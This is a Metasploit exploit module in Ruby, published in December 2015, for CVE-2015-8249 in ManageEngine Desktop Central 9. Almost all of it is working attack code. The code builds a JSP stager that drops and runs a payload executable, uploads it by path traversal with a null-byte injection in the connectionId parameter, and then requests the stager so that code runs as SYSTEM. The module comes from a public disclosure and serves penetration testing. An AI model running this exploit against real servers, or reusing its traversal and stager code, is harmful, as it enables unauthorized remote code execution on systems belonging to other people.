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ManageEngine Desktop Central 9 FileUploadServlet ConnectionId

Posted on 15 December 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info={})
 super(update_info(info,
 'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",
 'Description' => %q{
 This module exploits a vulnerability found in ManageEngine Desktop Central 9. When
 uploading a 7z file, the FileUploadServlet class does not check the user-controlled
 ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to
 inject a null bye at the end of the value to create a malicious file with an arbitrary
 file type, and then place it under a directory that allows server-side scripts to run,
 which results in remote code execution under the context of SYSTEM.

 Please note that by default, some ManageEngine Desktop Central versions run on port 8020,
 but older ones run on port 8040. Also, using this exploit will leave debugging information
 produced by FileUploadServlet in file rdslog0.txt.

 This exploit was successfully tested on version 9, build 90109 and build 91084.
 },
 'License' => MSF_LICENSE,
 'Author' => [ 'sinn3r' ],
 'References' =>
 [
 [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ],
 [ 'CVE', '2015-8249']
 ],
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'ManageEngine Desktop Central 9 on Windows', {} ]
 ],
 'Payload' =>
 {
 'BadChars' => "x00"
 },
 'Privileged' => false,
 'DisclosureDate' => "Dec 14 2015",
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
 Opt::RPORT(8020)
 ], self.class)
 end

 def jsp_drop_bin(bin_data, output_file)
 jspraw = %Q|<%@ page import="java.io.*" %>
|
 jspraw << %Q|<%
|
 jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";
|

 jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");
|

 jspraw << %Q|int numbytes = data.length();
|

 jspraw << %Q|byte[] bytes = new byte[numbytes/2];
|
 jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)
|
 jspraw << %Q|{
|
 jspraw << %Q| char char1 = (char) data.charAt(counter);
|
 jspraw << %Q| char char2 = (char) data.charAt(counter + 1);
|
 jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;
|
 jspraw << %Q| comb <<= 4;
|
 jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;
|
 jspraw << %Q| bytes[counter/2] = (byte)comb;
|
 jspraw << %Q|}
|

 jspraw << %Q|outputstream.write(bytes);
|
 jspraw << %Q|outputstream.close();
|
 jspraw << %Q|%>
|

 jspraw
 end

 def jsp_execute_command(command)
 jspraw = %Q|<%@ page import="java.io.*" %>
|
 jspraw << %Q|<%
|
 jspraw << %Q|try {
|
 jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");
|
 jspraw << %Q|} catch (IOException ioe) { }
|
 jspraw << %Q|Runtime.getRuntime().exec("#{command}");
|
 jspraw << %Q|%>
|

 jspraw
 end

 def get_jsp_stager
 exe = generate_payload_exe(code: payload.encoded)
 jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
 # pwd: C:ManageEngineDesktopCentral_Serverin
 # targeted location: C:ManageEngineDesktopCentral_ServerwebappsDesktopCentraljspf
 register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

 {
 jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
 jsp_name: jsp_fname
 }
 end

 def get_build_number(res)
 inputs = res.get_hidden_inputs
 # The buildNum input is in the first form
 inputs.first['buildNum']
 end

 def get_html_title(res)
 html = res.body
 n = ::Nokogiri::HTML(html)
 n.at_xpath('//title').text
 end

 def check
 uri = normalize_uri(target_uri.path, '/configurations.do')

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => uri
 })

 unless res
 vprint_error("Connection timed out")
 return Exploit::CheckCode::Unknown
 end

 build_number = get_build_number(res)
 vprint_status("Found build number: #{build_number}")

 html_title = get_html_title(res)
 vprint_status("Found title: #{html_title}")

 if build_number <= '91084'
 return Exploit::CheckCode::Appears
 elsif /ManageEngine Desktop Central/ === html_title
 return Exploit::CheckCode::Detected
 end

 Exploit::CheckCode::Safe
 end

 def upload_jsp(stager_info)
 # connectionId is part of the 7z filename
 # computerName is part of the 7z filename (but will be used due to the null byte injection)
 # customerId is used as a directory name
 #
 # The intended upload path is:
 # C:ManageEngineDesktopCentral_ServerwebappsDesktopCentralserver-data[customerId]
dsscr-rec
ull-computerName-connectionId.7z
 # But this will upload to:
 # C:ManageEngineDesktopCentral_ServerwebappsDesktopCentraljspf

 uri = normalize_uri(target_uri.path, 'fileupload')

 res = send_request_cgi({
 'method' => 'POST',
 'uri' => uri,
 'ctype' => 'application/octet-stream',
 'encode_params' => false,
 'data' => stager_info[:jsp_payload],
 'vars_get' => {
 'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
 'resourceId' => Rex::Text.rand_text_alpha(1),
 'action' => 'rds_file_upload',
 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
 'customerId' => Rex::Text.rand_text_numeric(rand(10)+5)
 }
 })

 if res.nil?
 fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
 elsif res && res.code != 200
 fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
 end
 end

 def exec_jsp(stager_info)
 uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => uri
 })

 if res.nil?
 fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
 elsif res && res.code != 200
 fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
 end
 end

 def exploit
 print_status("Creating JSP stager")
 stager_info = get_jsp_stager

 print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
 upload_jsp(stager_info)

 print_status("Executing stager...")
 exec_jsp(stager_info)
 end

end

 

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